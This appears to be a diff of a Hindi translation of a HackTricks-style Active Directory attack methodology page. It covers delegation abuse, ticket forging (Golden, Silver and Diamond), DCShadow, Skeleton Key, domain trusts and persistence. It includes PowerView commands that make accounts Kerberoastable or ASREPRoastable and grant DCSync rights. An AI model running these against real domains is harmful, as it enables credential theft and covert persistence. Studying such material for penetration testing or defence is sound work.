यदि आपको कोई Computer object attribute [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) के साथ मिलता है और आपके पास उस कंप्यूटर पर domain privileges हैं, तो आप उस कंप्यूटर पर login करने वाले हर उपयोगकर्ता की memory से TGTs dump कर पाएंगे।\
|
||||
इसलिए, यदि कोई **Domain Admin उस कंप्यूटर पर login** करता है, तो आप उसका TGT dump करके [Pass the Ticket](pass-the-ticket.md) का उपयोग कर उसे impersonate कर पाएंगे।\
|
||||
constrained delegation के कारण आप यहाँ तक कि **automatically compromise a Print Server** भी कर सकते हैं (आशा है कि वह DC होगा)。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
unconstrained-delegation.md
|
||||
@ -323,8 +323,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
यदि किसी user या computer को "Constrained Delegation" की अनुमति है, तो वह **किसी कंप्यूटर पर कुछ services तक पहुँचने के लिए किसी भी user की impersonation** कर सकेगा।\
|
||||
यदि आप इस user/computer के **hash compromise** कर लेते हैं तो आप **किसी भी user** (यहाँ तक कि domain admins भी) की impersonation करके कुछ services तक पहुँच सकते हैं।
|
||||
यदि किसी user या computer को "Constrained Delegation" के लिए अनुमति दी गई है तो वह किसी computer में कुछ सेवाओं तक पहुँचने के लिए **किसी भी user का impersonate** कर सकेगा।\
|
||||
फिर, यदि आप इस user/computer के hash को **compromise** कर लेते हैं तो आप **किसी भी user** (यहाँ तक कि domain admins भी) का impersonate कर कुछ सेवाओं तक पहुँच सकते हैं।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -333,7 +333,7 @@ constrained-delegation.md
|
||||
|
||||
### Resourced-based Constrain Delegation
|
||||
|
||||
Remote computer के Active Directory object पर **WRITE** privilege होने से **elevated privileges** के साथ code execution प्राप्त करना संभव हो जाता है:
|
||||
किसी remote computer के Active Directory object पर **WRITE** privilege होने से आप **बढ़ी हुई privileges** के साथ code execution हासिल कर सकते हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -342,7 +342,7 @@ resource-based-constrained-delegation.md
|
||||
|
||||
### Permissions/ACLs Abuse
|
||||
|
||||
Compromised user के पास कुछ domain objects पर **दिलचस्प privileges** हो सकते हैं जो आपको बाद में lateral movement/privilege **escalation** करने की क्षमता देंगे।
|
||||
Compromised user के पास कुछ domain objects पर ऐसे **interesting privileges** हो सकते हैं जो आपको बाद में lateral **move** करने या **escalate** privileges करने की अनुमति दे सकते हैं।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -351,7 +351,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Printer Spooler service abuse
|
||||
|
||||
Domain के अंदर किसी भी **Spool service listening** का पता लगने पर उसे **abuse** करके **नई credentials प्राप्त** की जा सकती हैं और **privileges escalate** किए जा सकते हैं।
|
||||
डोमेन के भीतर किसी **Spool service listening** को खोजकर उसे **abuse** करके नए credentials प्राप्त करने और privileges **escalate** करने के लिए उपयोग किया जा सकता है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -360,8 +360,8 @@ printers-spooler-service-abuse.md
|
||||
|
||||
### Third party sessions abuse
|
||||
|
||||
यदि **अन्य users** compromised मशीन पर **access** करते हैं, तो संभव है कि उनसे **memory से credentials gather** किए जाएँ और उनके processes में **beacons inject** करके उनकी impersonation की जा सके।\
|
||||
आम तौर पर users सिस्टम तक RDP के जरिए पहुँचते हैं, इसलिए यहाँ कुछ तरीक़े दिए गए हैं जो third party RDP sessions पर किए जा सकते हैं:
|
||||
यदि **अन्य users** compromised मशीन तक **access** करते हैं, तो उनसे memory से credentials **gather** करना और यहाँ तक कि उनके processes में beacons **inject** करके उनका impersonation करना संभव है।\
|
||||
अधिकतर उपयोगकर्ता सिस्टम तक RDP के माध्यम से पहुँचते हैं, इसलिए यहां third party RDP sessions पर कुछ attacks करने के तरीके दिए गए हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -370,7 +370,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** domain-joined computers पर **local Administrator password** manage करने का एक सिस्टम देता है, जो इसे **randomized**, unique और बार-बार **change** करता है। ये पासवर्ड Active Directory में store होते हैं और ACLs के माध्यम से केवल authorized users को access दिया जाता है। यदि किसी के पास इन पासवर्ड्स तक पर्याप्त permissions हों, तो दूसरे कंप्यूटरों पर pivot करना संभव हो जाता है।
|
||||
**LAPS** domain-joined कंप्यूटर्स पर **local Administrator password** को manage करने के लिए एक प्रणाली प्रदान करता है, सुनिश्चित करता है कि वह पासवर्ड **randomized**, unique और अक्सर **changed** हो। ये पासवर्ड Active Directory में store होते हैं और ACLs के माध्यम से केवल authorized users के लिए access नियंत्रित होता है। यदि इन पासवर्ड्स तक पहुंचने के लिए पर्याप्त permissions हों, तो अन्य कंप्यूटर्स पर pivot करना संभव हो जाता है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -379,7 +379,7 @@ laps.md
|
||||
|
||||
### Certificate Theft
|
||||
|
||||
Compromised मशीन से **certificates इकट्ठा करना** environment में privileges escalate करने का एक तरीका हो सकता है:
|
||||
Compromised machine से **certificates को gather** करना environment के अंदर privileges escalate करने का एक तरीका हो सकता है:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -388,7 +388,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Certificate Templates Abuse
|
||||
|
||||
यदि **vulnerable templates** configured हैं तो उन्हें abuse करके privileges escalate करना संभव है:
|
||||
यदि **vulnerable templates** configured हैं तो उनका दुरुपयोग करके privileges escalate किया जा सकता है:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -399,30 +399,30 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
### Dumping Domain Credentials
|
||||
|
||||
एक बार जब आप **Domain Admin** या उस से भी बेहतर **Enterprise Admin** privileges हासिल कर लेते हैं, तो आप **domain database**: _ntds.dit_ **dump** कर सकते हैं।
|
||||
एक बार जब आप **Domain Admin** या उससे भी बेहतर **Enterprise Admin** privileges प्राप्त कर लेते हैं, तो आप **domain database**: _ntds.dit_ को **dump** कर सकते हैं।
|
||||
|
||||
[**DCSync attack के बारे में अधिक जानकारी यहाँ मिलती है**](dcsync.md).
|
||||
[**More information about DCSync attack can be found here**](dcsync.md).
|
||||
|
||||
[**NTDS.dit चुराने के तरीके के बारे में अधिक जानकारी यहाँ मिलती है**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Privesc as Persistence
|
||||
|
||||
पहले चर्चा की गई कुछ तकनीकों को persistence के लिए भी उपयोग किया जा सकता है।\
|
||||
उदाहरण के लिए आप कर सकते हैं:
|
||||
|
||||
- Make users vulnerable to [**Kerberoast**](kerberoast.md)
|
||||
- उपयोगकर्ताओं को [**Kerberoast**](kerberoast.md) के लिए vulnerable बनाना
|
||||
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
|
||||
```
|
||||
|
||||
- Make users vulnerable to [**ASREPRoast**](asreproast.md)
|
||||
- उपयोगकर्ताओं को [**ASREPRoast**](asreproast.md) के लिए vulnerable बनाना
|
||||
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- Grant [**DCSync**](#dcsync) privileges to a user
|
||||
- किसी user को [**DCSync**](#dcsync) privileges प्रदान करना
|
||||
|
||||
```bash
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
@ -430,7 +430,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
**Silver Ticket attack** एक विशिष्ट सर्विस के लिए एक वैध Ticket Granting Service (TGS) ticket बनाता है, आमतौर पर NTLM hash (उदाहरण के लिए PC account का hash) का उपयोग करके। यह तरीका service privileges तक पहुँचने के लिए उपयोग किया जाता है।
|
||||
**Silver Ticket attack** किसी विशेष service के लिए एक वैध Ticket Granting Service (TGS) ticket बनाता है, जिसका उपयोग **NTLM hash** (उदाहरण के लिए, PC account के hash) से किया जाता है। इस विधि का उपयोग service privileges तक पहुँचने के लिए किया जाता है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -439,9 +439,9 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
**Golden Ticket attack** में attacker Active Directory में **krbtgt account** का NTLM hash हासिल कर लेता है। यह खाता विशेष है क्योंकि यह सभी **Ticket Granting Tickets (TGTs)** को sign करने के लिए प्रयोग होता है, जो AD नेटवर्क में authentication के लिए आवश्यक होते हैं।
|
||||
**Golden Ticket attack** में attacker Active Directory (AD) environment में **krbtgt account** के NTLM hash तक पहुँच प्राप्त करता है। यह account विशेष है क्योंकि यह सभी **Ticket Granting Tickets (TGTs)** पर साइन करने के लिए उपयोग होता है, जो AD नेटवर्क के भीतर authentication के लिए आवश्यक होते हैं।
|
||||
|
||||
एक बार attacker इस hash को प्राप्त कर लेता है, तो वह किसी भी खाते के लिए **TGTs** बना सकता है (Silver ticket attack जैसा)।
|
||||
एक बार attacker इस hash को प्राप्त कर लेता है, वह किसी भी account के लिए **TGTs** बना सकता है (Silver ticket attack जैसी)।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -450,7 +450,7 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
ये golden tickets की तरह होते हैं पर इन्हें इस तरह forge किया जाता है कि वे **आम golden tickets detection mechanisms** को bypass कर दें।
|
||||
ये golden tickets की तरह होते हैं लेकिन इन्हें इस तरह से forge किया जाता है कि ये **common golden tickets detection mechanisms** को bypass कर दें।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -459,7 +459,7 @@ diamond-ticket.md
|
||||
|
||||
### **Certificates Account Persistence**
|
||||
|
||||
**किसी account के certificates होना या उन्हें request कर पाने की क्षमता** users के account में persist रहने का एक बहुत अच्छा तरीका है (यहाँ तक कि user पासवर्ड बदल दे तो भी):
|
||||
किसी account के **certificates होना** या उन्हें request करने में सक्षम होना users के account में persist करने का एक बहुत अच्छा तरीका है (यहाँ तक कि यदि उसने password बदल भी दिया हो):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -468,7 +468,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Certificates Domain Persistence**
|
||||
|
||||
**Certificates का उपयोग domain के भीतर उच्च privileges के साथ persist करने के लिए भी किया जा सकता है:**
|
||||
**Certificates का उपयोग domain के अंदर high privileges के साथ persist करने के लिए भी संभव है:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -477,13 +477,13 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### AdminSDHolder Group
|
||||
|
||||
Active Directory में **AdminSDHolder** object privileged groups (जैसे Domain Admins और Enterprise Admins) की security सुनिश्चित करने के लिए एक standard **Access Control List (ACL)** apply करता है ताकि unauthorized changes रोके जा सकें। हालांकि, इस फीचर का दुरुपयोग किया जा सकता है; यदि attacker AdminSDHolder के ACL को modify कर के किसी सामान्य user को full access दे दे, तो उस user को सभी privileged groups पर विस्तृत नियंत्रण मिल जाएगा। यह सुरक्षा उपाय, जिसे सुरक्षा के लिए रखा गया है, यदि ठीक से monitored न हो तो अनचाही access दे सकता है।
|
||||
Active Directory में **AdminSDHolder** object privileged groups (जैसे Domain Admins और Enterprise Admins) की security सुनिश्चित करने के लिए एक standard **Access Control List (ACL)** apply करता है ताकि unauthorized परिवर्तन रोके जा सकें। हालाँकि, इस फीचर का दुरुपयोग किया जा सकता है; यदि attacker AdminSDHolder के ACL में संशोधन करके किसी regular user को full access दे देता है, तो वह user सभी privileged groups पर व्यापक नियंत्रण प्राप्त कर लेगा। यह सुरक्षा उपाय, जो सुरक्षा के लिए है, तब उल्टा प्रभाव डाल सकता है और अनुचित access की अनुमति दे सकता है जब तक कि इसे कड़ी निगरानी में न रखा जाए।
|
||||
|
||||
[**AdminSDHolder Group के बारे में अधिक जानकारी यहाँ।**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
हर **Domain Controller (DC)** के अंदर एक local administrator account मौजूद होता है। ऐसी मशीन पर admin rights प्राप्त करके local Administrator hash को **mimikatz** का उपयोग कर निकालना संभव है। इसके बाद कुछ registry modifications करने की आवश्यकता होती है ताकि इस password का उपयोग enable किया जा सके और local Administrator account में remote access मिल सके।
|
||||
हर **Domain Controller (DC)** के अंदर एक local administrator account मौजूद होता है। ऐसी किसी मशीन पर admin rights प्राप्त करके, local Administrator hash को **mimikatz** का उपयोग करके extract किया जा सकता है। इसके बाद इस password के उपयोग को सक्षम करने के लिए registry modification की आवश्यकता होती है, जिससे local Administrator account तक remote access संभव हो जाता है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -492,7 +492,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Persistence
|
||||
|
||||
आप किसी user को कुछ विशेष permissions दे सकते हैं किसी specific domain objects पर ताकि वह भविष्य में privileges escalate कर सके।
|
||||
आप किसी विशेष domain objects पर किसी **user** को कुछ विशेष permissions **दे** सकते हैं जो उस user को भविष्य में privileges escalate करने की अनुमति देंगे।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -501,7 +501,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
**Security descriptors** किसी object के ऊपर मौजूद permissions को **store** करने के लिए उपयोग होते हैं। यदि आप किसी object के security descriptor में छोटी सी भी **बदलाव** कर दें, तो आप उस object पर बहुत ही दिलचस्प privileges प्राप्त कर सकते हैं बिना यह कि आपको privileged group का सदस्य होना पड़े।
|
||||
**security descriptors** का उपयोग किसी object के ऊपर मौजूद permissions को **store** करने के लिए किया जाता है। यदि आप किसी object के security descriptor में थोड़ा सा भी परिवर्तन कर देते हैं, तो आप उस object पर बहुत ही रोचक privileges हासिल कर सकते हैं बिना किसी privileged group का सदस्य होने की आवश्यकता के।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -510,7 +510,7 @@ security-descriptors.md
|
||||
|
||||
### Skeleton Key
|
||||
|
||||
LSASS की memory को बदलकर एक **universal password** स्थापित किया जाता है, जिससे सभी domain accounts तक पहुँच मिल जाती है।
|
||||
LSASS में memory को बदलकर एक **universal password** स्थापित करें, जो सभी domain accounts तक पहुंच की अनुमति देता है।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -519,8 +519,8 @@ skeleton-key.md
|
||||
|
||||
### Custom SSP
|
||||
|
||||
[यहाँ जानें कि SSP (Security Support Provider) क्या है.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
आप अपना **SSP** बना सकते हैं ताकि मशीन पर उपयोग किए जा रहे credentials को **clear text** में **capture** किया जा सके।
|
||||
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||
आप अपना **own SSP** बना सकते हैं ताकि मशीन तक पहुँचने में उपयोग किए जाने वाले **credentials** को **clear text** में capture किया जा सके।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -529,8 +529,8 @@ custom-ssp.md
|
||||
|
||||
### DCShadow
|
||||
|
||||
यह AD में एक **नया Domain Controller** register करता है और इसे उपयोग कर के निर्दिष्ट objects पर attributes (SIDHistory, SPNs...) **push** करता है बिना उन **modifications** के बारे में logs छोड़े। इसके लिए आपको DA privileges चाहिए और आप **root domain** के अंदर होने चाहिए।\
|
||||
ध्यान दें कि यदि आप गलत data use करते हैं तो काफी भद्दे logs दिखाई देंगे।
|
||||
यह AD में एक **नई Domain Controller** register करता है और उसे specified objects पर attributes (SIDHistory, SPNs...) **push** करने के लिए उपयोग करता है **बिना** उन **modifications** के बारे में बहुत सारे logs छोड़े। आपको DA privileges की आवश्यकता है और आपको **root domain** के अंदर होना चाहिए।\
|
||||
ध्यान दें कि यदि आप गलत data का उपयोग करते हैं, तो काफी बुरे logs दिखाई देंगे।
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -539,7 +539,7 @@ dcshadow.md
|
||||
|
||||
### LAPS Persistence
|
||||
|
||||
पहले हमने चर्चा की थी कि यदि आपके पास **LAPS passwords पढ़ने की पर्याप्त permission** है तो कैसे privileges escalate किए जा सकते हैं। हालांकि, इन पासवर्ड्स का उपयोग **persistence बनाए रखने** के लिए भी किया जा सकता है।\
|
||||
पहले हमने चर्चा की थी कि यदि आपके पास **LAPS passwords पढ़ने** की पर्याप्त permission है तो कैसे privileges escalate किए जा सकते हैं। हालाँकि, इन पासवर्ड्स का उपयोग persistence बनाए रखने के लिए भी किया जा सकता है।\
|
||||
देखें:
|
||||
|
||||
|
||||
@ -549,62 +549,62 @@ laps.md
|
||||
|
||||
## Forest Privilege Escalation - Domain Trusts
|
||||
|
||||
Microsoft **Forest** को security boundary के रूप में देखता है। इसका मतलब यह है कि **एक ही domain का compromise पूरे Forest के compromise की ओर ले जा सकता है**।
|
||||
Microsoft **Forest** को security boundary के रूप में देखता है। इसका मतलब है कि **एक single domain के compromise से संभावित रूप से पूरे Forest का compromise हो सकता है**।
|
||||
|
||||
### Basic Information
|
||||
|
||||
एक [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक security mechanism है जो एक domain के user को दूसरे domain के resources तक पहुँचने की अनुमति देता है। यह दोनों domains के authentication systems के बीच एक linkage बनाता है ताकि authentication verifications seamlessly flow कर सकें। जब domains trust set करते हैं, तो वे अपने Domain Controllers (DCs) के बीच कुछ specific **keys** exchange और retain करते हैं, जो trust की integrity के लिए महत्वपूर्ण होते हैं।
|
||||
एक [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक security mechanism है जो एक domain के user को दूसरे domain के resources तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों domains के authentication systems के बीच एक linkage बनाता है, जिससे authentication verifications आसानी से flow कर सकें। जब domains trust स्थापित करते हैं, तो वे अपने Domain Controllers (DCs) में कुछ विशेष **keys** exchange और retain करते हैं, जो trust की integrity के लिए महत्वपूर्ण होते हैं।
|
||||
|
||||
सामान्य परिदृश्य में, यदि किसी user को किसी **trusted domain** की सेवा तक पहुँच चाहिए होती है, तो उसे पहले अपने domain के DC से एक विशेष ticket जिसे **inter-realm TGT** कहा जाता है, request करनी होती है। यह TGT उस shared **key** के साथ encrypt होती है जो दोनों domains ने agree की होती है। फिर user यह TGT **trusted domain के DC** को प्रस्तुत करता है ताकि उसे service ticket (**TGS**) मिल सके। यदि trusted domain का DC inter-realm TGT को validate कर लेता है, तो वह TGS जारी करता है और user को सेवा तक पहुँच मिल जाती है।
|
||||
सामान्य परिदृश्य में, यदि कोई user किसी **trusted domain** में किसी service तक पहुँचने का इरादा रखता है, तो उसे पहले अपने domain के DC से एक विशेष ticket जिसे **inter-realm TGT** कहा जाता है, request करना होगा। यह TGT उस shared **key** के साथ encrypt होता है जो दोनों domains के बीच सहमति से मौजूद होता है। फिर user इस TGT को **trusted domain** के DC को प्रस्तुत करता है ताकि उसे service के लिए एक service ticket (**TGS**) मिल सके। यदि trusted domain का DC inter-realm TGT को सफलतापूर्वक validate कर लेता है, तो वह TGS जारी करता है, जिससे user को service तक पहुँचने की अनुमति मिलती है।
|
||||
|
||||
**Steps**:
|
||||
|
||||
1. एक **client computer** **Domain 1** में अपनी **NTLM hash** का उपयोग करके अपने **Domain Controller (DC1)** से **Ticket Granting Ticket (TGT)** request करना शुरू करता है।
|
||||
2. अगर client authenticate हो जाता है तो DC1 नया TGT जारी करता है।
|
||||
3. फिर client को **Domain 2** के resources तक पहुँचने के लिए DC1 से एक **inter-realm TGT** request करनी होती है।
|
||||
4. inter-realm TGT उस **trust key** से encrypt होती है जो DC1 और DC2 के बीच two-way domain trust का हिस्सा है।
|
||||
1. एक **client computer** Domain 1 में अपनी **NTLM hash** का उपयोग करते हुए अपने **Domain Controller (DC1)** से **Ticket Granting Ticket (TGT)** request करना शुरू करता है।
|
||||
2. यदि client authenticated है तो DC1 एक नया TGT जारी करता है।
|
||||
3. फिर client को **Domain 2** के resources तक पहुँचने के लिए DC1 से एक **inter-realm TGT** request करना होता है।
|
||||
4. inter-realm TGT उस **trust key** के साथ encrypt होता है जो DC1 और DC2 के बीच दो-तरफ़ा domain trust के हिस्से के रूप में साझा किया गया है।
|
||||
5. client inter-realm TGT लेकर **Domain 2 के Domain Controller (DC2)** के पास जाता है।
|
||||
6. DC2 अपनी shared trust key से inter-realm TGT verify करता है और यदि valid हो तो उस server के लिए **Ticket Granting Service (TGS)** जारी करता है जिसे client पहुँचने का प्रयास कर रहा है।
|
||||
7. अंत में client यह TGS server को प्रस्तुत करता है, जो कि server के account hash से encrypt होता है, और Domain 2 में service तक पहुँच प्राप्त करता है।
|
||||
6. DC2 अपने shared trust key का उपयोग करके inter-realm TGT को verify करता है और यदि मान्य है, तो वह Domain 2 में उस server के लिए **Ticket Granting Service (TGS)** जारी करता है जिसे client access करना चाहता है।
|
||||
7. अंत में, client यह TGS server को प्रस्तुत करता है, जिसे server के account hash के साथ encrypt किया गया है, ताकि Domain 2 में service तक पहुँच मिल सके।
|
||||
|
||||
### Different trusts
|
||||
|
||||
यह ज़रूरी है कि समझें कि **एक trust one way या two ways** हो सकता है। दो-तरफ़ा विकल्प में दोनों domains एक-दूसरे पर भरोसा करेंगे, लेकिन **one way** trust में एक domain **trusted** और दूसरा **trusting** होगा। ऐसी स्थिति में, **trusted domain से आप केवल trusting domain के अंदर मौजूद resources तक ही access कर पाएँगे**।
|
||||
यह ध्यान रखना महत्वपूर्ण है कि **एक trust 1 way या 2 ways** हो सकता है। 2 way विकल्प में दोनों domains एक-दूसरे पर trust करेंगे, लेकिन **1 way** trust संबंध में एक domain **trusted** होगा और दूसरा **trusting** domain होगा। अंतिम मामले में, **trusted domain से केवल trusting domain के अंदर के resources तक ही आप पहुंच सकेंगे**।
|
||||
|
||||
यदि Domain A, Domain B पर trust करता है, तो A trusting domain होगा और B trusted। इसके अलावा, **Domain A** में इसे **Outbound trust** कहा जाएगा; और **Domain B** में इसे **Inbound trust** कहा जाएगा।
|
||||
यदि Domain A, Domain B पर trust करता है, तो A trusting domain है और B trusted domain है। इसके अलावा, **Domain A** में यह एक **Outbound trust** होगा; और **Domain B** में यह एक **Inbound trust** होगा।
|
||||
|
||||
**Different trusting relationships**
|
||||
|
||||
- **Parent-Child Trusts**: यह आमतौर पर एक ही forest के अंदर होता है, जहाँ child domain अपने parent domain के साथ स्वचालित रूप से two-way transitive trust रखता है। इसका अर्थ यह है कि authentication requests parent और child के बीच बिना बाधा के flow कर सकते हैं।
|
||||
- **Cross-link Trusts**: जिन्हें "shortcut trusts" भी कहा जाता है, ये child domains के बीच स्थापित किए जाते हैं ताकि referral processes तेज़ हों। जटिल forests में authentication referrals आमतौर पर forest root तक ऊपर और फिर target domain तक नीचे यात्रा करते हैं। cross-links बनाकर यह मार्ग छोटा किया जा सकता है, जो भौगोलिक रूप से फैले वातावरण में उपयोगी है।
|
||||
- **External Trusts**: ये unrelated domains के बीच स्थापित किए जाते हैं और प्रकृति में non-transitive होते हैं। Microsoft के documentation के अनुसार external trusts उन मामलों के लिए उपयोगी हैं जहाँ current forest के बाहर किसी domain के resources तक पहुँचने की आवश्यकता होती है जो forest trust से connected नहीं है। सुरक्षा को external trusts के साथ SID filtering के माध्यम से बढ़ाया जाता है।
|
||||
- **Tree-root Trusts**: ये trusts forest root domain और newly added tree root के बीच स्वचालित रूप से स्थापित होते हैं। अक्सर नहीं मिलते, लेकिन tree-root trusts नए domain trees को forest में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे वे unique domain name बनाए रख सकें और two-way transitivity सुनिश्चित हो।
|
||||
- **Forest Trusts**: यह प्रकार दो forest root domains के बीच एक two-way transitive trust होता है, और SID filtering सुरक्षा उपाय के रूप में लागू करता है।
|
||||
- **MIT Trusts**: ये non-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domains के साथ स्थापित किए जाने वाले trusts हैं। MIT trusts थोड़े अधिक specialized होते हैं और उन वातावरणों के लिए होते हैं जो Windows पारिस्थितिकी तंत्र के बाहर Kerberos-based systems के साथ integration की आवश्यकता रखते हैं।
|
||||
- **Parent-Child Trusts**: यह आमतौर पर उसी forest के भीतर सेटअप होता है, जहाँ एक child domain अपने parent domain के साथ स्वचालित रूप से two-way transitive trust रखता है। इसका अर्थ है कि authentication requests parent और child के बीच आसानी से बह सकते हैं।
|
||||
- **Cross-link Trusts**: इन्हें "shortcut trusts" कहा जाता है, ये child domains के बीच स्थापित किए जाते हैं ताकि referral प्रक्रियाएँ तेज़ हो सकें। जटिल forests में, authentication referrals को अक्सर forest root तक ऊपर और फिर target domain तक नीचे जाना पड़ता है। cross-links बनाकर यह यात्रा छोटी हो जाती है, जो भौगोलिक रूप से फैले हुए वातावरण में विशेष रूप से उपयोगी है।
|
||||
- **External Trusts**: ये अलग, unrelated domains के बीच सेटअप होते हैं और स्वभाव से non-transitive होते हैं। [Microsoft के documentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, external trusts उन domains के resources तक पहुंचने के लिए उपयोगी हैं जो current forest से बाहर हैं और forest trust द्वारा जुड़े नहीं हैं। सुरक्षा को external trusts के साथ SID filtering के माध्यम से मजबूत किया जाता है।
|
||||
- **Tree-root Trusts**: ये trust forest root domain और किसी newly added tree root के बीच स्वचालित रूप से स्थापित होते हैं। हालांकि ये आमतौर पर सामने नहीं आते, tree-root trusts नए domain trees को forest में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक unique domain name बनाए रखने और two-way transitivity सुनिश्चित करने में मदद मिलती है। अधिक जानकारी के लिए [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) देखें।
|
||||
- **Forest Trusts**: यह प्रकार दो forest root domains के बीच two-way transitive trust है, जो सुरक्षा उपायों को बढ़ाने के लिए SID filtering भी लागू करता है।
|
||||
- **MIT Trusts**: ये non-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domains के साथ स्थापित किए जाते हैं। MIT trusts थोड़ा अधिक specialized होते हैं और उन वातावरणों के लिए होते हैं जिन्हें Windows पारिस्थितिकी तंत्र के बाहर Kerberos-based systems के साथ एकीकरण की आवश्यकता होती है।
|
||||
|
||||
#### Other differences in **trusting relationships**
|
||||
|
||||
- एक trust relationship **transitive** भी हो सकती है (A trusts B, B trusts C, तो A trusts C) या **non-transitive** भी।
|
||||
- एक trust relationship को **bidirectional trust** के रूप में सेट किया जा सकता है (दोनों एक-दूसरे पर भरोसा करते हैं) या **one-way trust** के रूप में (केवल एक ही दूसरे पर भरोसा करता है)।
|
||||
- एक trust relationship **transitive** भी हो सकती है (A trust B, B trust C, तो A trust C) या **non-transitive** भी।
|
||||
- एक trust relationship **bidirectional trust** के रूप में सेटअप की जा सकती है (दोनों एक-दूसरे पर trust करते हैं) या **one-way trust** के रूप में (केवल एक ही दूसरे पर trust करता है)।
|
||||
|
||||
### Attack Path
|
||||
|
||||
1. **Enumerate** करें trusting relationships को
|
||||
2. जाँचें कि क्या कोई **security principal** (user/group/computer) के पास **other domain** के resources तक **access** है, संभवतः ACE entries या दूसरे domain के groups में होने की वजह से। **domains के बीच relationships** देखें (शायद trust इसे बनाने के लिए ही बनाई गई थी)।
|
||||
1. इस मामले में kerberoast भी एक विकल्प हो सकता है।
|
||||
3. उन **accounts** को **compromise** करें जो domains के बीच **pivot** कर सकती हैं।
|
||||
2. चेक करें कि क्या कोई **security principal** (user/group/computer) के पास **other domain** के resources तक **access** है, शायद ACE entries द्वारा या दूसरे domain के groups में होने के कारण। **relationships across domains** के लिए देखें (शायद trust इसी के लिए बनाया गया था)।
|
||||
1. इस मामले में kerberoast एक अन्य विकल्प भी हो सकता है।
|
||||
3. उन **accounts** को **compromise** करें जो domains के बीच **pivot** कर सकते हैं।
|
||||
|
||||
Attackers को दूसरे domain में resources तक पहुँचने के तीन प्रमुख मैकेनिज्म के माध्यम से access मिल सकती है:
|
||||
Attackers के पास तीन प्रमुख mechanisms के माध्यम से दूसरे domain में resources तक पहुँचने की क्षमता हो सकती है:
|
||||
|
||||
- **Local Group Membership**: Principals को machines पर local groups (जैसे किसी server पर “Administrators” group) में जोड़ा जा सकता है, जिससे उन्हें उस मशीन पर काफी control मिल जाता है।
|
||||
- **Foreign Domain Group Membership**: Principals foreign domain के groups के सदस्य भी हो सकते हैं। हालांकि, इस विधि की प्रभावशीलता trust की प्रकृति और group के scope पर निर्भर करती है।
|
||||
- **Access Control Lists (ACLs)**: Principals को किसी resource तक पहुँच प्रदान करने के लिए **ACL** में, विशेष रूप से **ACE** के रूप में, निर्दिष्ट किया जा सकता है। ACLs, DACLs और ACEs की कार्यप्रणाली में गहराई से जाने के इच्छुक लोगों के लिए whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” उपयोगी संसाधन है।
|
||||
